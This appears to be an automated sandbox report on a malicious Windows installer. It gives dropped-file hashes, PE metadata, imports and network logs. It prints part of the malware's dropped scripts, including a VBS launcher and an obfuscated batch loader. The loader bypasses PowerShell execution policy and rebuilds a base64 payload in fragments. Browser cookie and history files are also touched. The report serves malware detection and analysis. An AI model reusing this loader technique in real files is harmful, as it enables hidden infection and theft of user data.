Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1384
Entropy (8bit):	5.395091763144815
Encrypted:	false
SSDEEP:	24:3fWSKco4KmZjKbm51s4RPTsIKoTmoUP7mZ9tXt/NK3R88bJ0ur89dOR:vWSU4xymI4RbqoUP7mZ9tlNWR83uWOR
MD5:	87DBEF7E3858A9DCEFF97EBF88487FA0
SHA1:	2C30A6B54F0509E3B5ABBD40B8D6E2FD939FE9C1
SHA-256:	71A3CAD22F22F3BFC3EF675C0CAD2EA8EAC9E47230BD631455FAE8E004C8A5E9
SHA-512:	9B7C9301654E2987185AEF8870FC4694E4E165594429ED24718C53CC89398D5CD0B63046E27F69F4A40DF5ED6BF4EE03EF7B4D006D143BBFD12D4B7112DF412B
Malicious:	false
Preview:	@...e...........................................................P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...4.....................@.[8]'.\........System.Data.@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gcdcu5tv.aob.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gsjgszb2.3k4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ksy5zfau.xrx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_swa32dnl.tjz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\start.vbs

Download File

Process:	C:\Users\user\Desktop\yU3icg18lq.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	231
Entropy (8bit):	4.9234148944564025
Encrypted:	false
SSDEEP:	6:j+q9Nqh2hJNnnCf8HjOwF1p1sCjZsOkKqGUrv:KqahyJhhjOwLpjZrkKqr7
MD5:	ABE1DD23AB4C11AAE54F1898C780C0B5
SHA1:	BB2F974B3E0AF2BAA40920B475582BFD4FB28001
SHA-256:	89054E19532A9A62CA3403A8899495BF6F06557FF886B475A04227EB8ABA7B12
SHA-512:	E9EC437A32301078EA69CE2F36DADAB68315D5E56D94C4D579D3409CCBE0C9E00C3AED7BAA0FA6D656FB8ED23213F4C01FB2D108C1A0ED11C58C76CD00F9A99D
Malicious:	true
Preview:	Set objShell = CreateObject("WScript.Shell")....userProfileDir = objShell.ExpandEnvironmentStrings("%userprofile%")....batchFilePath = userProfileDir & "\temp.bat"....objShell.Run batchFilePath, 0, False....Set objShell = Nothing..

C:\Users\user\temp.bat

Download File

Process:	C:\Users\user\Desktop\yU3icg18lq.exe
File Type:	DOS batch file, ASCII text, with very long lines (58994), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	209296
Entropy (8bit):	6.026023867587116
Encrypted:	false
SSDEEP:	3072:YZ5q1dIOxM7uywhXemKY2GDM676x3P6qpsIRRpAdJ6PjzqqaTehW6+Goun9Oem1Z:e+PLjkf7VGrrPrmKCeFIzxzwhFfyGWzC
MD5:	72B17467A49B7813856FA604D1D291C8
SHA1:	3116D07854D56F0BC505BE8B80804A7319208739
SHA-256:	E24AADDFA2ECE0891AD7B3C51779C65BBF95E4FDED59FC46FE4FEF311E1DE3E1
SHA-512:	38C99CC716097EE7CB642203432FFBD1EF6CE8A0C9B21AA2827962B82456ECB3113FA1EDD362AAB013737E3BDFB2D0803145FC0CAF612054BA47F6454C3A4843
Malicious:	true
Preview:	@echo off....setlocal enabledelayedexpansion..set "zlrUNoyluF=%userprofile%\-temp.ps1"..set WLmSMeTxhy=%SystemRoot%\SysWow64\WindowsPowerShell\v1.0\powershell.exe..set "AoMKRVmwJg=%~dp0%~nx0".... copy "%AoMKRVmwJg%" "%userprofile%\-temp.bat" >nul.... if exist "%zlrUNoyluF%" (.. "%WLmSMeTxhy%" -ExecutionPolicy Bypass -File "%zlrUNoyluF%".. exit..)....set mcfuUYYjEk=..set SnDdmLPSpa_0=ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSk..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_0!..set SnDdmLPSpa_1=geyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLk..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_1!..set SnDdmLPSpa_2=NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0Y..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_2!..set SnDdmLPSpa_3=SkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBb..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_3!..set SnDdmLPSpa_4=SU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFt..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_4!..set SnDdmLPSpa_5=JTy5Db21wcmVzc2lvbi5Db21

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.37639561516815
Encrypted:	false
SSDEEP:	3:N/XANAKxcvn:B7KE
MD5:	D9C586991FACF81AE3350D1F2468D551
SHA1:	4021D00AB6D09D9DEF8964CF7D5B137E2057803D
SHA-256:	A04C3131D5D2D6A794281B2525967934811D733BE6DFCE8658AC90F520F8A14F
SHA-512:	8D37243809F6AF2D51F844497FBEB4268366D3121A8C76EFE74917C77B5044732ACDEB4638CE47B649AB3A00A8584855015D4DE374B184DB83C0809FA721D421
Malicious:	false
Preview:	1 file(s) copied...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.727391220874634
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	yU3icg18lq.exe
File size:	278'290 bytes
MD5:	8b8db4eaa6f5368eb5f64359c6197b43
SHA1:	e9b51842e2d2f39fa06e466ae73af341ddffe1c8
SHA256:	55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
SHA512:	4da734da30af148f246f433b71c72677b9f78698424db15eba364233dff183cb998f9be13d2832872829ac545be1e15ff75ceb85fca3fd0784265fd576db0056
SSDEEP:	6144:xfL+oq+hnjsVl3dRQTLU+2bRRR17+fYHPfIMDPSBJ7Y/B4aSi3V:xfL5njsVlNuc++Rj17+fYHPfIg4Y54ap
TLSH:	9844E042E7655916ED28823714B93FA34729FD9D6972C3999350FE183C332826FDB322
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L...l..d.................j.........

File Icon


Icon Hash:	15c8c848c8c8c855

Static PE Info

General

Entrypoint:	0x403532
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64A0DC6C [Sun Jul 2 02:09:48 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007F2C2493703Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007F2C24937008h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [004347B8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x45000	0x15200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x68d8	0x6a00	742185983fa6320c910f81782213e56f	False	0.6695165094339622	data	6.478461709868021	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1464	0x1600	a995b118b38426885fc6ccaa984c8b7a	False	0.4314630681818182	data	4.969091535632612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2a818	0x600	9a9bf385a30f1656fc362172b16d9268	False	0.5247395833333334	data	4.172601271908501	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x10000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x45000	0x15200	0x15200	3d5c335197d886655f8f1430bfeeef18	False	0.6110623150887574	data	7.132776027569186	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x45418	0x7d67	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9965735289536803
RT_ICON	0x4d180	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.2820028341993387
RT_ICON	0x513a8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.3312240663900415
RT_ICON	0x53950	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720	English	United States	0.3812130177514793
RT_ICON	0x553b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4446529080675422
RT_ICON	0x56460	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.5754264392324094
RT_ICON	0x57308	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5110655737704918
RT_ICON	0x57c90	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.7138989169675091
RT_ICON	0x58538	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.5848837209302326
RT_ICON	0x58bf0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.7572254335260116
RT_ICON	0x59158	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6879432624113475
RT_ICON	0x595c0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4932795698924731
RT_ICON	0x598a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5641891891891891
RT_DIALOG	0x599d0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x59ad0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x59bf0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x59c50	0xbc	data	English	United States	0.6542553191489362
RT_VERSION	0x59d10	0x1b0	data	English	United States	0.5115740740740741
RT_MANIFEST	0x59ec0	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2024 08:35:53.850541115 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:53.850585938 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:53.850699902 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:53.859549046 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:53.859570980 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.061033964 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.061127901 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.122498035 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.122519016 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.123574018 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.123735905 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.144556046 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.192230940 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.407042980 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.407069921 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.407084942 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.407126904 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.407150984 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.407166004 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.407202959 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.500843048 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.500900030 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.500961065 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.500974894 CET	443	49707	23.47.27.74	192.168.2.11
Mar 28, 2024 08:35:54.500991106 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.501046896 CET	49707	443	192.168.2.11	23.47.27.74
Mar 28, 2024 08:35:54.517519951 CET	443	49707	23.47.27.74	192.168.2.11
